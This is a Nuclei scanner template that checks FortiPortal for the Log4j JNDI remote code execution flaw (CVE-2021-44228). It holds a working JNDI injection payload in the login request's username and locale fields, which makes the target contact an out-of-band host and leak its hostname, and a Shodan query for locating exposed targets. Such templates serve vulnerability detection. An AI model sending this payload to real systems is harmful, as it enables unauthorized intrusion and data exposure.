漏洞描述
FortiPortal is susceptible to Log4j JNDI remote code execution. FortiPortal provides comprehensive security management and analytics within a multi-tenant, multi-tier management framework.
id: fortiportal-log4j-rce
info:
name: FortiPortal - Remote Code Execution (Apache Log4j)
author: shaikhyaser
severity: critical
description: |
FortiPortal is susceptible to Log4j JNDI remote code execution. FortiPortal provides comprehensive security management and analytics within a multi-tenant, multi-tier management framework.
reference:
- https://www.fortiguard.com/psirt/FG-IR-21-245
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
cpe: cpe:2.3:a:fortinet:fortiportal:*:*:*:*:*:*:*:*
metadata:
max-request: 1
shodan-query: html:"FortiPortal"
product: fortiportal
vendor: fortinet
tags: cve,cve2021,rce,jndi,log4j,fortiportal,oast,kev,vuln
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
str: "{{rand_base(5)}}"
http:
- raw:
- |
POST /fpc/login/ HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Accept: application/json, text/plain, */*
Referer: {{RootURL}}/fpc/app/login
Content-Type: application/json
{"username":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}","password":"{{str}}","isAdmin":false,"locale":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
extractors:
- type: kval
kval:
- interactsh_ip
- type: regex
part: interactsh_request
group: 2
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
- type: regex
part: interactsh_request
group: 1
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4b0a00483046022100f077c10e1694ec19f7860316df971f064591b3fdf8e77c52c5c85dee6ab8e2700221008861eb7a9b655b146e08e1171241c01b6740586a19cedb5896eae34ff60d5803:922c64590222798bb761d5b6d8e72950